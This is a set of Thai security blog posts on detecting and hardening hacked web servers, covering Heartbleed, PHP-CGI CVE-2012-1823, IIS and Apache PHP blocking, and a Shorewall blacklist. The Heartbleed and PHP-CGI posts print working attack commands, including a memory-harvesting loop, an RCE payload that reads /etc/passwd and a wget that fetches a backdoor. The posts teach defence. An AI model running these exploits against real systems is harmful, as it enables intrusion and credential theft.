รุ่นที่ใช้คือ ZyWALL USG1000
1. Login เข้าหน้าจัดการ FireWall
2. คลิก setting
3. เลือกเมนู Anti-X => Content Filler
4. เลือก Tab Fillter Profile
5. คลิก ADD
6. ตั้งชื่อ Profile ในที่นี้คือ BAIDU เลือก Tab Custom Service
7. คลิก Enable Custom Service
8. ลงมาล่างสุด ที่ Blocked URL Keywords คลิก Add
9. ใส่ชื่อ Web Site ที่ต้องการ Block ถ้าต้องการใส่มากกว่า 1 web ให้คลิก Add เพื่อเพิ่มเติม
ในที่นี้ baidu.com และ baidu.co.th เสร๋จแล้วคลิก OK
10. เลือก Tab General
11. คลิก Enable Content Filter และ คลิก ADD
12. ตรง Filter Profile เลือก Profile ที่ ต้องการ ในที่นี้คือ BAIDU คลิก OK
13. มาดูผลงาน อย่าลืมเลือก Display เป็น Block web sites ด้วย
Category: Network Security
-
Block Baidu กับ ZyXEL ZyWALL USG1000
-
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #15
จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #7 : การตรวจสอบ Windows Server ที่ถูก Hack ด้วย PowerShell ซึ่งเป็นกระบวนการตรวจสอบ Windows Server ซึ่งโดนเจาะด้วยช่องโหว่ JCE ของ Joomla ก็มีคนถามว่า จะมีกระบวนการแก้ไขป้องกัน เหมือนกับที่ทำกับ Apache ซึ่งแสดงใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #12 : เทคนิคการตั้งค่า Apache Web Server เพื่อให้ปลอดภัยจากช่องโหว่ ตอนนี้มีคำตอบแล้วครับเทคนิคนี้ ใช้ผ่าน Internet Information Services (IIS) Manager โดยการแก้ไข Request Filtering ในระดับ Web Server เลย โดยดำเนินการตามวิธีการต่อไปนี้
- เรียก Command ด้วย การกดปุ่ม Windows + R แล้ว พิมพ์ inetmgr แล้วกดปุ่ม Enter
- คลิกเว็บเซิร์ฟเวอร์ของเครื่องที่ต้องการใน Connection Tab (ตัวอย่างในภาพ คลิกที่ WUNCAWEBSEC)
- ต่อไป ภายใต้หัวข้อ IIS ให้ Double-Click ที่ Request Filtering
- คลิกที่ Rules tab
- เพิ่มกฏสำหรับ JCE Bot
ซึ่ง ไม่ต้องการให้ PHP ทำงานภายใต้ URL ซึ่งมีข้อความว่า “images/stories”
โดย ไปที่ Action ด้านขวามือ แล้ว คลิกที่ Add Filtering Rules …
แล้วใส่ข้อมูลตามภาพ แล้วคลิกปุ่ม OK
- เพิ่มกฏสำหรับ Upload โฟลเดอร์
ซึ่ง ไม่ต้องการให้ PHP ทำงานภายใต้ URL ซึ่งมีข้อความว่า “upload”
โดย ไปที่ Action ด้านขวามือ แล้ว คลิกที่ Add Filtering Rules …
แล้วใส่ข้อมูลตามภาพ แล้วคลิกปุ่ม OK
- ผลที่ได้ใน Rules tab
ทดสอบผลการทำงาน
สมมุติเดิมโดนวางไฟล์ Backdoor ไว้ที่
http://localhost/corin/images/stories/backdoor.php
แต่เมื่อตั้ง Rules ดังกล่าวแล้ว จะทำให้ Hacker ไม่สามารถเรียกใช้งาน PHP ที่วางไว้ใน images/stories ได้ โดยจะได้ Error เช่นนี้
วิธีนี้มีข้อดีคือ สามารถป้องกันการใช้งาน PHP ใน images/stories (และใน upload โฟลเดอร์) แต่ยังสามารถเรียกไฟล์ภาพและไฟล์อื่นๆได้ตามปรกติ เช่น
http://localhost/corin/images/stories/clownspin.gif
ลองใช้งานดูครับ 😉
-
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #14
บทความนี้ เสนอเรื่อง Heartbleed Bug (CVE-2014-0160) บน OpenSSL ในส่วนของ นิยาม, รู้เรา, รู้เขา และ ตัวอย่างการทดสอบนิยาม
Heartbleed เป็นช่องโหว่ของระบบ OpenSSL เรียกว่าเป็นบั๊ก (Bug) ก็ว่าได้ ตั้งชื่อเลียนแบบการออกเสียงคำว่า Heartbeat ซึ่งเป็นการตรวจสอบว่ายัง Alive หรือไม่ โดยเป็นจุดเริ่มต้นของช่องโหว่นี้ ซึ่งจำกัดอยู่เฉพาะ OpenSSL version ตั้งแต่ 1.0.1 ถึง 1.0.1f และได้รับการแก้ไขตั้งแต่ 1.0.1g เป็นต้นมา รายละเอียดอ่านเพิ่มเติมจาก [1], [2], [3] ส่วนเครื่องใดใช้เก่ากว่า หรือ ใหม่กว่านี้ รอดครับ
“OpenSSL 1.0.1 สร้างตั้งแต่ปี 2012 แต่ค้นพบปี 2013 และประกาศ CVE ปี 2014 ถามทาง NSA บอกว่า ‘เรารู้ตั้งนานแล้วแต่ไม่บอก เอ๊า คุณไม่รู้เหรอ?’ ปล่อยให้ทาง Google, Facebook, Yahoo ใช้งานกันต่อไป ตั้งแต่ 2012 ถึงตอนนี้ ไม่รู้ Password หลุดไปถึงไหนต่อไหนแล้ว ส่วนรอบนี้ Microsoft รอดไป” … คุณเกรียงไกร กล่าว (งุงิงุงิ)
ดังนั้น ก็น่าคิดว่า ตั้งแต่ ปี 2012 เป็นต้นมา ถึง ปัจจุบัน ใครบ้างที่ใช้ Website ดังกล่าว และ ไม่เคยเปลี่ยนรหัสผ่านเลย … ก็ควรจะเปลี่ยนได้แล้วหล่ะครับ และควรจะใช้ 2-step Authentication ร่วมด้วย เพื่อความปลอดภัยครับ
รู้เรา
ก่อนอื่น ดูก่อนว่า เราใช้ OpenSSL เวอร์ชั่นที่มีช่องโหว่หรือไม่ ด้วยคำสั่ง
openssl version
ถ้าผลลัพท์เป็น
OpenSSL 1.0.1c 10 May 2012หรืออะไรที่อยู่ระหว่าง 1.0.1, 1.0.1a ถึง 1.0.1f ก็แสดงว่า เครื่องนี้ เสี่ยงครับ นอกเหนือจากนั้น ไม่เข้าข่ายครับ ลองไปใช้คำสั่งนี้ดู
รู้เขา
มีคนเก่งๆ เขาทำสิ่งที่เรียกว่า Exploit หรือ เครื่องมือในการเจาะช่องโหว่ไว้แล้ว ในที่นี้จะใช้ของ Csaba Fitzl [4] พัฒนาด้วยภาษา python ซึ่งจุดเด่นคือ สามารถเลือก Port ที่จะโจมตีได้ และ สามารถโจมตี SSL/TLS ได้หลาย Version ในครั้งเดียว ต่อไปนี้ คือขั้นตอนการทดสอบช่องโหว่ แบบที่แฮ็คเกอร์ทำ
1. เปิด Terminal ของ Linux แล้ว ดาวน์โหลดไฟล์ ด้วยคำสั่งนี้ (ซึ่งมี python ติดตั้งพร้อมใช้งาน)
wget http://www.exploit-db.com/download/32764 -O hbtest.py
2. ใช้คำสั่งต่อไปนี
python hbtest.py localhost
การทดสอบนี้ ทดสอบบนเครื่องนี้เท่านั้น และทำกับ HTTPS ที่พอร์ต 443 เท่านั้น ถ้าต้องการยิงพอร์ตอื่น ก็ใส่ -p 445 อะไรทำนองนั้นแทน
ถ้าต้องการทดสอบเครื่องอื่นๆ ก็ใช้ ชื่อเครื่องนั้นๆ แทน localhost เท่าที่เข้าใจตอนนี้ ถ้าจะทดสอบเครื่องที่เป็น Web Hosting กล่าวคือ IP เดียว แต่มี Virtual Host ในนั้นจำนวนมาก ก็ต้องระบุเป็น URL ของเว็บไซต์ต่างๆ เพราะบางไซต์ ก็ไม่เปิดใช้งาน HTTPS ซึ่งก็จะไม่ได้รับผลกระทบอะไร
ตัวอย่างการทดสอบ
เครื่องเป้าหมายนี้ เป็น Ubuntu 12.04.2 LTS สมมุติชื่อเครื่อง victim.in.psu.ac.th
และเครื่องที่ทำการโจมตี เป็น Virtualbox เป็น Linux Mint 14
1. ตรวจสอบรุ่นของ OpenSSL ของเครื่อง victim.in.psu.ac.th ด้วยคำสั่ง
openssl version
ผลที่ได้คือ
OpenSSL 1.0.1 14 Mar 2012
บนเครื่อง victim.in.psu.ac.th นี้ Apache2 ซึ่งเปิดใช้ mod_ssl ด้วยคำสั่ง
sudo a2enmod ssl
และกำหนดให้ไซต์ default-ssl เปิดการใช้งาน HTTPS ด้วยคำสั่ง
sudo a2ensite default-ssl
แล้วรีสตาร์ท Apache ด้วยคำสั่ง
sudo /etc/init.d/apache2 restart
บนเครื่องนี้ ทำตัวอย่างหน้าจอ login.php และ ส่งผลไปให้ checklogin.php ซึ่งทำหน้าที่แค่แสดงผล “Just A Test” เท่านั้น
ลอง เปิดเว็บเบราเซอร์ ไปที่ https://victim.in.psu.ac.th/login.php แล้วใส่ username และ password ตามใจชอบ เช่น
Username: admin Password: 123456
แล้วคลิกปุ่ม Submit จากนั้นเว็บจะแสดงข้อความ “Just A Test” เป็นอันสิ้นสุด
2. บนเครื่องโจมตี ใช้คำสั่งต่อไปนี้ เพื่อดาวน์โหลด Exploit มา ด้วยคำสั่ง
wget http://www.exploit-db.com/download/32764 -O hbtest.py
จากนั้น ใช้คำสั่ง
python hbtest.py victim.in.psu.ac.th
ผลที่ได้ประมาณนี้
สังเกตุบรรทัดสุดท้าย จะเห็นคำว่า “server is Vulnerable!” แสดงว่า เครื่องนี้ สามารถโจมตีด้วย Heartbleed ได้
ต่อไป ใช้คำสั่งต่อไปนี้ เพื่อเก็บผลลัพธ์ ต่อเนื่อง โดยจะเก็บไว้ในไฟล์ /tmp/result.txt โดยจะเรียก hbtest.py แล้ว หยุด (sleep) 1 วินาที ดังนี้
while true; do python hbtest.py victime.in.psu.ac.th >> /tmp/result.txt ; sleep 1 ; done
ปล่อยให้คำสั่งนี้ทำงานสักพัก (ลองดูสัก 10 วินาทีก็ได้) แล้ว กดปุ่ม Ctrl+c จากนั้น ลองดูผลการทำงาน ด้วยคำสั่ง
less /tmp/result.txt
เพื่อค้นหาคำว่า admin ลองกดคำสั่งต่อไปนี้ ที่เครื่องหมาย :
/admin
จากนั้น กดปุ่ม Enter
ผลลัพธ์ ประมาณนี้
จะเห็นได้ว่า สามารถมองเห็นรหัสผ่าน 123456 ได้ทันที !
ลองเอาไปทำกันดูครับ เพื่อทดสอบเครื่องในความดูแลว่า ถูกโจมตีได้หรือไม่ครับ
หมายเหตุ: มีเหตุผลที่ ทำไมเราต้องทดสอบด้วยวิธีนี้ แทนที่จะไปใช้ Website ภายนอก เพื่อทดสอบ ซึ่ง “ง่ายดี” แต่เพราะ ใครจะรู้ว่า เว็บไซต์ที่เปิดให้เราใส่ URL ของเราไปใส่ แล้วทดสอบ, เขาก็ทำอะไรคล้ายๆอย่างนี้แหล่ะ และตอบมาแค่ว่า Vulnerable หรือไม่ แต่ … ถ้า ผู้สร้างเว็บเหล่านั้น คิดไม่ดี อาจจะทดสอบแบบนี้ แล้วถ้าพบว่า URL ของเราสามารถโจมตีได้ เขาก็อาจจะเริ่มต้นเก็บข้อมูลเหล่านี้ไป … จึงเป็นเรื่องดีกว่า ที่จะทดสอบ ระบบของเราเอง ด้วยตนเองครับ
Reference
-
วิธีจัดการ Facebook Spam
เมื่อ Facebook เป็นสื่อสังคมออนไลน์ที่ใช้กันอย่างแพร่หลาย ก็ย่อมจะมี Spam หรือพวกชอบโฆษณาขายของโน่นนี่นั่นบ้าๆบอๆเข้ามารังคาญ โดยมักจะมากัน 3 วิธี หลักๆ
-
โพสต์บน Timeline ของเราโดยตรง วิธีนี้ทำให้ Friends ของเรา และคนที่เปิดหน้า Profile ของเรา ต้องทนเห็น Spam พวกนี้ โดยเราไม่ได้เป็นคนโพสต์
-
พวก Spam จะโพสต์ภาพ บน Timeline ตัวเอง แต่ Tag ว่าเราอยู่ในภาพนั้นๆด้วย เช่น
-
พวก Spam จะโพสต์ภาพ หรือ ข้อความ ที่ชวนให้คลิกมากๆ แต่พอเราคลิกเข้าไปแล้ว มันจะไปเปิด App ของ Facebook ซึ่งจะขอสิทธิ์ให้เข้าไปดูรายชื่อ Friends ของเรา และ “Post on behalf” หรือ บอกว่าจะขอโพสต์ข้อความบน Timeline ของเรา เหมือนดั่งเราเป็นคนโพสต์เอง วิธีนี้ เลวร้ายมาก เพราะ ถ้าเพื่อนๆของเรา เกิดไปคลิกโพสต์เหล่านั้น ก็จะเข้าวงจรเดียวกัน เกิดการแพร่ระบาดของ Spam บน Facebook ขึ้น เช่น ภาพนี้ เป็น Spam App ชื่อ sv9.iknotz.com เป็นต้น
มาดูวิธีการแก้ไขกัน (ตามภาพ)
-
ไปที่ (1) คลิกที่ Setting
-
ไปที่ (2) Timeline and Tagging
-
ไปที่ (3) Who can add things to my timeline? > Who can post on your timeline? ให้คลิก Edit แล้วควรจะเลือก Friends เพื่อให้ เฉพาะคนที่เรายอมรับเป็นเพื่อนเท่านั้น สามารถโพสต์บน Timeline ของเราได้
-
ไปที่ (4) Review posts friends tag you in before they appear on your timeline? ให้คลิก Edit แล้วเลือกเป็น Enable เพื่อให้ แม้ว่า คนที่เรารับเป็น Friends ไปแล้ว แต่เราไม่ได้ระวังตัวหรือ คนที่ชอบรับ Friends ไปเรื่อย เห็นสวยๆ ทรงโตๆก็รับไปเรื่อย พวกนี้แหล่ะ มันมักจะเป็น Spam ถ้าพวกนี้เกิดโพสต์ภาพขายของแล้ว Tag เราขึ้นมา ก็ต้องให้เรา Review ก่อน จึงจะแสดงบน Timeline เราได้
-
สำหรับ พวก Spam App ที่เราเผลอใจ ไปกดเพราะอาจจะ …. หน้ามืด อยากดูจัด เลยคลิกไปเรื่อยๆ ก็ต้องไปลบ Apps ตามภาพ
โดยไปที่ (5) Apps แล้ว คลิกที่ (6) Show All Apps เพื่อแสดง Apps ทั้งหมด จากนั้นหาชื่อ Spam Apps เช่นตัวอย่าง sv9.iknotz.com หรืออะไรที่ใกล้เคียง หรืออะไรที่เราไม่ควรจะมีไว้ จากนั้นคลิกที่ (7) เพื่อลบ ก็จะปรากฏหน้าต่างดังภาพ
ให้คลิกดัง (8) เพื่อให้ ลบโพสต์ทั้งหมดของ Spam Apps เหล้านั้นที่ปรากฏบน Timeline ของเรา
ขอให้โชคดี
-
-
Shorewall Blacklist
- ใช้ได้กับ Shorewall 4.4.12 ขึ้นมา
- แก้แฟ้ม /etc/shorewall/interfaces โดยเพิ่มความว่า blacklist ต่อท้ายของเดิม เป็น
net eth0 detect tcpflags,logmartians,nosmurfs,blacklist- เพิ่มลิสต์ที่ต้องการบล็อคลงไปในแฟ้ม /etc/shorewall/blacklist
- ตัวอย่างค้นหาเครื่องที่ต้องการบล็อคการเข้าถึงพอร์ต 80 และ 443
grep -R phpmyadmin/scripts/setup.php /var/log/apache2|cut -d: -f2|awk '{ print $1 }'|sort -t'.' -n -k1,1 -k2,2 -k3,3 -k4,4|uniq- จากตัวอย่างในเครื่องเราไม่มี phpmyadmin แต่มีคนพยายามเข้าถึงตัวติดตั้ง phpmyadmin ฉะนั้นบล็อค IP พวกนี้ไว้ก่อน (บล็อคถาวรกรั่กๆ…)
- เอา IP จากข้อที่แล้วมาใส่ในแฟ้ม /etc/shorewall/blacklist รูปแบบ
#ADDRESS/SUBNET PROTOCOL PORT- เช่น
93.115.210.90 tcp 80,443
93.174.93.153 tcp 80,443
94.23.58.185 tcp 80,443
94.102.51.155 tcp 80,443
103.247.21.60 tcp 80,443
107.6.88.155 tcp 80,443
109.163.232.218 tcp 80,443
110.170.34.220 tcp 80,443
111.90.168.5 tcp 80,443
115.84.101.78 tcp 80,443
115.238.101.45 tcp 80,443
115.239.253.11 tcp 80,443
116.93.105.112 tcp 80,443
117.35.96.146 tcp 80,443
118.140.120.26 tcp 80,443
119.52.254.20 tcp 80,443
119.57.51.154 tcp 80,443
122.49.0.220 tcp 80,443
123.125.148.79 tcp 80,443
125.210.204.242 tcp 80,443- restart shorewall
sudo shorewall restart- IP ที่ถูกแบล็คลิสต์ อาจหายไปจากสารบบ ทำให้ shorewall start ไม่ขึ้น ต้องลบไอพีดังกล่าวออกไปก่อนจึงจะ start ได้
Compiling /etc/shorewall/blacklist...
ERROR: Unknown Host (93.x4.93.153) : /etc/shorewall/blacklist (line 23)- จบ… ขอให้สนุกครับ
ที่มา http://shorewall.net/manpages/shorewall-blacklist.html
- คีย์เวิร์ดสำหรับแบน
- /CFIDE/administrator/enter.cfm
- /MyAdmin/scripts/setup.php
- /myadmin/scripts/setup.php
- /phpMyAdmin/scripts/setup.php
- /pma/scripts/setup.php
- /w00tw00t.at.blackhats.romanian.anti-sec:)
- เป็นต้น
-
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #13
บทความนี้ แสดงให้เห็นการโจมตีช่องโหว่ของ PHP แบบ CGI ทำให้สามารถ แทรกคำสั่งต่างๆไปยังเครื่องเป้าหมายได้ ดังที่ปรากฏใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 โดย PHP Version ที่ต่ำกว่า 5.3.12 และใช้แบบ php5-cgi จะมีช่องโหว่นี้
ก่อนอื่น ขออธิบายคร่าวๆ ว่า การใช้งาน PHP นั้น มีวิธีที่นิยมใช้กัน 3 วิธี [1] ได้แก่
1. Apache Module
2. CGI
3. FastCGI1. Apache Module (mod_apache) เป็นวิธีการที่ใช้งานอยู่กันโดยทั่วไป ได้รับความนิยม เพราะติดตั้งง่าย
ข้อดี:
– PHP ทำงานร่วมกับ Apache
– เหมาะกับงานที่ใช้ PHP เยอะๆ
ข้อเสีย:
– ทุก Apache Process จะมีการโหลด PHP เข้าไปด้วย แสดงว่า จะใช้ Memory มากขึ้น ยิ่งมีการโหลด Module เพิ่ม ก็ยิ่งใช้ Memory เพิ่มอีก ทั้งนี้ ไม่ว่าจะเป็นการเรียก ภาพ หรืออะไรที่ไม่ใช้ PHP ก็ตาม
– สิทธิ์ในการสร้าง/แก้ไขไฟล์ จะเป็นของ Web User เช่น Apache/httpd เป็นต้น ทำให้ มีปัญหาด้านความปลอดภัย ในกรณีใช้พื้นที่ร่วมกัน2. CGI เป็นวิธีการใช้ PHP Interpreter เฉพาะที่จำเป็น
ข้อดี
– แก้ไขปัญหาด้านความปลอดภัย ในการใช้พื้นที่ร่วมกัน เพราะสิทธิ์ในการสร้าง/แก้ไขไฟล์ จะแยกเป็นของผู้ใช้แต่ละคน ดังนั้น เมื่อเกิดการเจาะช่องโหว่ ก็จะไม่กระทบกับผู้อื่น
– Apache Process จะทำหน้าที่เฉพาะให้บริการ HTTP แต่เมื่อต้องการใช้ PHP จึงจะไปเรียกใช้
ข้อเสีย
– เป็นวิธีดั้งเดิม ไม่มีประสิทธิภาพนัก, การตอบสนองช้า3. FastCGI เป็นการแยก Web Server กับ PHP ออกจากกัน ทำให้ การใช้งาน HTTP ที่มีต้องใช้ PHP ก็จะใช้งาน Memory น้อย แต่เมื่อต้องการใช้ PHP ก็จะส่งไปทาง Socket ทำให้สามารถกระจาย Load ไปยังเครื่องต่างๆได้
ข้อดี
– ให้ความปลอดภัยในการใช้พื้นี่ร่วมกัน แบบ CGI แต่ทำงานเร็วขึ้น
– สามารถ Scalability ได้ดี
– Apache Process ที่ไม่ใช้ PHP ก็จะใช้ Memory น้อย
ข้อเสีย
– การตั้งค่าค่อนข้างยุ่งยาก จะใช้ .htaccess แบบเดิมไม่ได้ แต่ต้องใช้ php.ini แยกแต่ละผู้ใช้ ทำให้ดูแลยากขึ้นปัญหาอยู่ที่ว่า บาง Web Server ที่ใช้งานกันอยู่ ใช้งาน PHP แบบ Apache Module อย่างเดียว แต่ ไปติดตั้ง PHP แบบ CGI ด้วย (php5-cgi package) แล้ว อาจจะไม่ได้ตรวจสอบให้ดี จึงทำให้มีช่องโหว่ได้
ตัวอย่างนี้ เป็น Web Server ที่ทำงานบน Ubuntu 10.04 Server + Apache 2.2.4 + PHP 5.2.17 โดย PHP Package ที่ติดตั้งไว้ สามารถดูด้วยคำสั่ง
sudo dpkg-query -l | grep php
ผลที่ได้คือ
ซึ่งจะเห็นว่า มี php5-cgi รุ่น 5..2.17 ซึ่ง มีช่องโหว่ ตาม CVE-2012-1823 ซึ่งทำให้ Hacker สามารถแทรกโค๊ดเข้ามาได้
สมมุติ Web Server เครื่องนี้ มี IP Address : 192.168.1.20
Hacker สามารถใช้คำสั่งต่อไปนี้ ( ดัดแปลงจากตัวอย่างของ Exploit Development: PHP-CGI Remote Code Execution – CVE-2012-1823 [2] และ รายละเอียดของ Query String ดูจากบทความ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6)
qstring="%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E"
ซึ่ง qstring นี้ เมื่อถอดรหัสจากเลขฐาน 16 เป็นข้อความจะได้ว่า
-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n
จากนั้น Hacker ก็ใช้คำสั่งต่อไปนี้
echo "<?php system('cat /etc/passwd');die(); ?>" | POST "http://192.168.1.20/cgi-bin/php?$qstring"ผลที่ได้คือ
และ Hacker สามารถทำอะไรก็ได้ เช่นไปเอา Backdoor จากที่อื่นมาใส่ได้ ตัวอย่างเช่น เอามาจาก http://example.com/backdoor ไปเก็บไว้ที่ /tmp/.aaa ด้วยคำสั่งนี้
echo "<?php system(' wget -q http://example.com/backdoor -O /tmp/.aaa');die(); ?>" | POST "http://192.168.1.20/cgi-bin/php?$qstring"หากใช้คำสั่งต่อไปนี้ที่เครื่องเป้าหมาย 192.168.1.20
ls -la /tmp
ก็พบว่า มี Backdoor ฝังอยู่แล้ว
ซึ่ง Hacker ก็สามารถใช้ขั้นตอนคล้ายๆกันนี้ ออกคำสั่งต่างๆได้
ดังนั้น หากท่านไม่ได้ตั้งใจจะใช้ php5-cgi ก็แนะนำให้เอาออกไป หรือ ทำการ Upgrade ให้เป็นรุ่น 5.3.12 ก็จะปลอดภัยจากช่องโหว่นี้ครับ
ขอให้โชคดี
Reference
[1] http://blog.layershift.com/which-php-mode-apache-vs-cgi-vs-fastcgi/
-
Web Hacking and Security Workshop
บทความชุด “วิธีตรวจสอบเว็บไซต์ที่โดน Hack”
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1 : เริ่มต้นตรวจพบความผิดปรกติที่ทำให้ Web Server ล่มเป็นระยะๆ และวิธีการตรวจสอบจนพบ Backdoor
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2 : ลักษณะของ Backdoor และวิธีตรวจสอบ Backdoor
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 : ช่องโหว่ JCE Exploit และวิธีค้นหา Backdoor อื่นๆ
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 : สรุป ขั้นตอนปฏิบัติ เมื่อตรวจสอบพบว่า Website ถูก Hack
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #5 : แนวทางการตรวจสอบช่องโหว่ของ Website ตนเองก่อนถูก Hack, รู้จักกับ CVE, CVSS และ Website cvedetails.com
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 : รูปแบบการสร้าง Cron เพื่อให้ Hacker สามารถกลับเข้ามาได้ แม้ผู้ดูแลระบบจะลบ Backdoor ออกไปจนหมดแล้ว !
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #7 : การตรวจสอบ Windows Server ที่ถูก Hack ด้วย PowerShell
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #8 : รูปแบบการสร้าง Web Server Process ปลอม และการวาง Network Scanner Tools บน Web Server ที่ถูก Hack
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9 : วิธีการ Hack ด้วย SQL Injection และ Cross-Site Scripting
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #10 : วิธีการ Hack ด้วย Remote File Inclusion
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11 : เทคนิคการใช้ Incremental Backup เพื่อการตรวจสอบหาไฟล์แปลกปลอม และการกู้ระบบกลับมา
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #12 : เทคนิคการตั้งค่า Apache Web Server เพื่อให้ปลอดภัยจากช่องโหว่
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #13 : วิธีการ Hack ผ่าน PHP แบบ CGI-BIN
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #14: Heartbleed Bug
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #15 : วิธีการปิดไม่ให้ PHP ทำงานในโฟลเดอร์ที่เปิดให้เขียนได้ บน Windows Server ที่ IIS Web Server
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #16: ShellShock
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #17: Backdoor ในรูปแบบ Obfuscate
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #18: Wordpress XMLRPC Vulnerable
-
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #12
บทความนี้ จะกล่าวถึง วิธีการปิดช่องโหว่ของ Apache ที่ให้บริการ Web Hosting เลย เผื่อมีผู้ใช้ ติดตั้ง Joomla และมี JCE รุ่นที่มีช่องโหว่ จะได้ไม่สร้างปัญหา และ แนะนำวิธีสำหรับผู้พัฒนาเวปไซต์เองด้วย ที่เปิดให้มีการ Upload ไฟล์โดยผู้ใช้ผ่านทาง Web ด้วย … เพราะหน้าที่นี้ ควรเป็นของ Web Server Administrator ไม่ใช่ของ Web Master หรือ Web Author ครับ
จากปัญหาช่องโหว่ของ JCE Exploited ของ Joomla ที่อธิบายไว้ใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 ที่อธิบายขั้นตอนการเจาะช่องโหว่, วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 ซึ่งเป็นวิธีการตรวจสอบค้นหา และทำลาย Backdoor และ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11 วิธีการ Incremental Backup ซึ่งสามารถช่วยกู้ไฟล์ได้และรู้ว่า มีไฟล์แปลกปลอมอะไรเกิดบ้าง ซึ่งเป็นการแก้ปัญหาปลายเหตุทั้งสิ้น
ส่วน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #5 กล่าวถึงการตรวจสอบว่า Software ที่ใช้งานอยู่มีช่องโหว่อะไรบ้าง ด้วยการตรวจสอบ CVE เป็นต้น
สำหรับ JCE Exploited จะพบว่า การวางไฟล์ Backdoor จะเริ่มวางไว้ที่ไดเรคทอรี่ images/stories ที่ แกล้งเป็นไฟล์ .gif แล้วเอาโค๊ด PHP เข้ามาใส่ แล้วเปลี่ยนนามสกุลเป็น .php ภายหลัง ดังนั้น หาก Apache Web Server สามารถ ปิดกั้นตั้งแต่จุดนี้ได้ กล่าวคือ ต่อให้เอาไฟล์มาวางได้ แต่สั่งให้ทำงานไม่ได้ ก็น่าจะปลอดภัย และ หากพัฒนาเวปไซต์เอง หรือ ผู้ใช้ของระบบต้องการให้ Upload ไฟล์ไว้ในไดเรคทอรี่ใดได้ ก็ต้องแจ้งให้ Web Server Administrator รับทราบ และเพิ่มเติมให้ น่าจะทำให้ปลอดภัยมากขึ้นได้
สมมุติฐานคือ
-
ติดตั้ง OS และ Apache Web Server ใหม่
-
ติดตั้ง Joomla ใหม่ หรือ เอา Web Application ที่ปลอดช่องโหว่อื่นๆ/Backdoor มาลง
โดย Joomla ที่มีที่วางไฟล์ภาพไว้ที่ images/stories ส่วน Web Application อื่นๆ ขอสมมุติว่าตั้งชื่อไดเรคทอรี่ว่า uploads
สำหรับ Apache2 บน Ubuntu Apache 2.2 นั้น มีโครงสร้างไดเรคทอรี่ดังนี้
/etc/apache2/ |-- apache2.conf | `-- ports.conf |-- mods-enabled | |-- *.load | `-- *.conf |-- conf.d | `-- * |-- sites-enabled `-- *
เมื่อ Apache เริ่ม (Start) ก็จะไปอ่าน /etc/apache2/apache2.conf ในนั้น จะกำหนดภาพรวมของระบบ ได้แก่ ใครเป็นคน Start (APACHE_RUN_USER/APACHE_RUN_GROUP), การกำหนดชื่อไฟล์ .htaccess ที่เปิดให้ผู้ใช้ปรับแต่ง Apache ที่แต่ละไดเรคทอรี่ของตนได้, กำหนดว่า จะเรียกใช้ Module อะไรบ้าง โดยการ Include *.load, *.conf จาก mods-enabled, กำหนดว่า จะเปิดให้มี Virtual Host อะไรบ้างโดยการ Include ไฟล์จาก sites-enabled และ ที่สำคัญ ผู้ดูแลระบบสามารถแยกไฟล์ config ออกเป็นส่วนย่อยๆเป็นไฟล์ โดยการ Include จาก conf.d
ต่อไป สร้างไฟล์ /etc/apache2/conf.d/jce มีเนื้อหาดังนี้
<DirectoryMatch ".*/images/stories/.*"> <FilesMatch "\.php$"> Order Deny,Allow Deny from All </FilesMatch> </DirectoryMatch>
และในทำนองเดียวกัน สร้างไฟล์ /etc/apache2/conf.d/uploads มีเนื้อหาดังนี้
<DirectoryMatch ".*/uploads/.*"> <FilesMatch "\.php$"> Order Deny,Allow Deny from All </FilesMatch> </DirectoryMatch>
ก่อนจะ Restart/Reload Apache ทดสอบสร้างไฟล์ใน
/var/www/joomla15/images/stories/0day.php /var/www/mywebapp/uploads/hack.php
เมื่อเรียก URL
http://localhost/joomla15/images/stories/0day.phphttp://localhost/mywebapp/uploads/hack.php
ผลที่ได้คือ Backdoor หน้าตาประมาณนี้
แต่พอใช้ Reload Apache ด้วยคำสั่ง
sudo /etc/init.d/apache2 reload
แล้วเรียก URL
http://localhost/joomla15/images/stories/0day.php
